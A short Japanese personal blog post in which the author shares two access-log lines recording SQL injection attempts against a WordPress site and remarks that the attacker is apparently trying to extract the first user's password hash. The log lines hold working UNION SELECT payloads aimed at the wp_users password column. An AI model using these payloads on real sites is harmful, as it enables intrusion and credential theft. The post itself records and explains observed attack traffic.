まとまりのないブログ

something which something is something

sql Tips wordpress

sqlインジェクション

投稿日:

ns.km22518.keymachine.de - - [19/Jul/2008:22:25:12 +0900] "GET /wordpress/index.php?cat=%27+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14883 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"
ns.km22518.keymachine.de - - [19/Jul/2008:22:25:14 +0900] "GET /wordpress/index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1" 200 14877 "-" "Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)"

パスワードを割り出そうとしているのか。wordpressのユーザidの1番目のパスワードをselectで取得しようとしているのがログから読み取れる。

-sql, Tips, wordpress

執筆者:


comment

メールアドレスが公開されることはありません。

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)

関連記事

no image

Ubuntu19.04 serverが20分でスリープになる件

Ubuntu serverバージョンの最新19.04をクリーンインストールしてみた。以前使っていたUbuntuのバージョンが9.04とかいうめちゃくちゃ古いバージョンだったので、アップグレードで最新ま …

no image

importerror: No module named cryptography.hazmat.backends paramiko

備忘録。paramikoをインストールしてpythonで実行してみようとしたらimporterror: No module named cryptography.hazmat.backendsというエ …

no image

macromedia flashpaperのツールバーが消えた

Microsoft Office Word 2003のツールバーからflashpaperの項目が突然消えてしまった。他のOfficeでは表示されているけれど、wordのみ何故か表示されない。pdfファ …

no image

Get Latest Post Title:wordpressの最新の投稿記事のタイトルのみを取得するプラグイン

wordpressで投稿した最新の投稿記事のタイトルのみを取得するプラグイン このプラグインは、公開済みの投稿記事の最も新しい記事タイトルを表示させるためのプラグインです。リンクではなく、リストでもな …

Pythonのメリット・デメリット

ラズベリーパイで遊んでいると避けては通れないプログラミング言語のPythonについて思ったことを記してみる。 メリット 低スペックマシンでも動く ラズベリーパイでも 開発がやりやすい コンパイルしなく …